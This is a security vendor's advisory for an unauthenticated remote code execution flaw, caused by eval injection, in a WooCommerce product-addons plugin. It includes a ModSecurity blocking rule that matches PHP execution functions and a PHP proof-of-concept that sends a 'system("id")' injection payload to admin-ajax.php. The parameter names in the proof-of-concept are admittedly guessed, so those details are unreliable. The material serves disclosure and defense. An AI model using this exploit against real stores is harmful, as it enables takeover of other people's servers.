Atomic Edge analysis of CVE-2026-4001 (metadata-based):
This vulnerability is an unauthenticated remote code execution flaw in the Woocommerce Custom Product Addons Pro WordPress plugin. The vulnerability exists in the custom pricing formula evaluation feature. Attackers can execute arbitrary PHP code on the server by submitting malicious input to text fields configured with custom pricing formulas. The CVSS 9.8 score reflects the complete lack of authentication requirements and the direct path to full system compromise.
CWE-95 (Eval Injection) directly indicates the root cause. The plugin’s process_custom_formula() function in includes/process/price.php passes user-controlled input to PHP’s eval() function without proper neutralization. The description confirms the sanitize_values() method only strips HTML tags but fails to escape single quotes or prevent PHP code injection. Atomic Edge research infers that the plugin likely constructs a pricing formula string containing user-submitted field values, then evaluates it with eval(). This inference is based on the CWE classification and the explicit mention of {this.value} in custom pricing formulas.
Exploitation requires a WooCommerce product page with a WCPA text field configured to use custom pricing (pricingType: “custom”). Attackers submit a POST request containing malicious PHP code within the field value parameter. The payload must bypass the limited HTML tag stripping. A likely payload uses PHP’s system() or shell_exec() functions wrapped in single quotes. The request probably targets the plugin’s AJAX handler at /wp-admin/admin-ajax.php with an action parameter containing the plugin’s namespace. The exact parameter name for field values is inferred to be similar to ‘wcpa_field_value’ or ‘field_values’ based on plugin naming conventions.
Proper remediation requires removing the eval() function entirely and replacing it with a safe mathematical expression parser. If eval() must remain, the plugin must implement strict allowlisting of permitted characters (only numbers, mathematical operators, parentheses). User input should never be directly interpolated into executable code strings. The patched version 5.4.2 likely implements one of these approaches, though without code diff confirmation, Atomic Edge analysis cannot determine the exact fix.
Successful exploitation grants attackers complete control over the affected WordPress server. Attackers can execute operating system commands, install backdoors, access databases, and pivot to other systems on the network. Since the vulnerability requires no authentication, any public-facing WooCommerce store using the vulnerable plugin version is immediately at risk. The attacker gains the same privileges as the web server process, typically www-data or apache user.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4001 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:9404001,phase:2,deny,status:403,chain,msg:'CVE-2026-4001: Woocommerce Custom Product Addons Pro RCE via AJAX',severity:'CRITICAL',tag:'CVE-2026-4001',tag:'WordPress',tag:'Plugin',tag:'WooCommerce',tag:'RCE'"
SecRule ARGS_POST:action "@rx ^wcpa" "chain"
SecRule ARGS_POST "@rx \.(system|exec|shell_exec|passthru|popen|proc_open|eval|assert|create_function|include|require|include_once|require_once)\([^)]*\)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:removeWhitespace"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4001 - Woocommerce Custom Product Addons Pro <= 5.4.1 - Unauthenticated Remote Code Execution via Custom Pricing Formula
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
// Assumptions based on vulnerability description and WordPress plugin patterns:
// 1. The plugin uses admin-ajax.php for processing form submissions
// 2. The AJAX action parameter contains 'wcpa' (plugin abbreviation)
// 3. Field values are submitted via POST parameter 'wcpa_field_value' or similar
// 4. The product ID and field ID are required to target a vulnerable field
// 5. The field must have custom pricing enabled (pricingType: "custom")
$payload = "'.system("id").'"; // PHP code to execute via eval()
// Single quotes escape the string context, system() executes OS command
// The sanitize_values() method strips HTML tags but not single quotes
$post_data = [
'action' => 'wcpa_ajax_process_form', // Inferred AJAX action name
'product_id' => '123', // Target product ID with vulnerable field
'wcpa_field_key' => 'field_1', // Target field ID with custom pricing
'wcpa_field_value' => $payload, // Malicious PHP code injection
'wcpa_form_id' => '456', // Form ID likely required
'quantity' => '1', // Required for price calculation
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to mimic legitimate WordPress AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
// If successful, the response may contain command output or error messages
// The eval() execution may not return visible output in HTTP response
// Attackers would use more sophisticated payloads for reverse shells
?>
